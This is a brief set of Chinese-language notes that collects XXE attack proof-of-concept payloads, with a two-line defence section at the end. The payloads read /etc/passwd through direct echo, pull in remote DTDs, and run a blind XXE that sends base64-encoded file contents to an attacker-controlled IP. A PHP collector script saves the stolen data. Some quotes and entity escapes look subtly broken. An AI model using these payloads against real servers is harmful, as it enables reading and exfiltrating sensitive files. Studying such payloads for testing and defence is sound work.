参考：
http://www.youknowi.xin/2018/07/xxe%e6%94%bb%e5%87%bb/
https://www.cnblogs.com/xiaozi/p/5785165.html
https://blog.csdn.net/u011215939/article/details/80376304

看一下这个：
内部声明实体
```
<!ENTITY 实体名称 "实体的值">
```
引用外部实体
```
<!ENTITY 实体名称 SYSTEM "URI">
```
或者
```
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
```

记录一些 poc，分析可以看另一个文档

poc1（直接回显）：
```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
```

poc2：
xml 文档保存在 web 服务器

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxx/poc.xml">
%remote;]>
```

```
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://localhost/ceshi/evil.dtd">%d;]>
<aa>&b;</aa>
```

evil.dtd 内容：
```
<!ENTITY b SYSTEM "file:///F:/linux/1.txt">
```

poc3（blind xxe）：
vps 上放 1.php

内容为：

```
<?php
file_put_contents(’01.txt’, $_GET[’xxe_local’]);
?>
```

1. xml 内容为：

```
<!ENTITY %
payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM
’http://192.168.106.208/dede/get.php?id=%payload;’>">
%int;
%trick;
```

poc 为：

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.106.208/1.xml">
%remote;]>
```

防御：

1. 过滤 system 关键词等
2. 禁用外部实体的方法（如何禁用，不同语言再搜）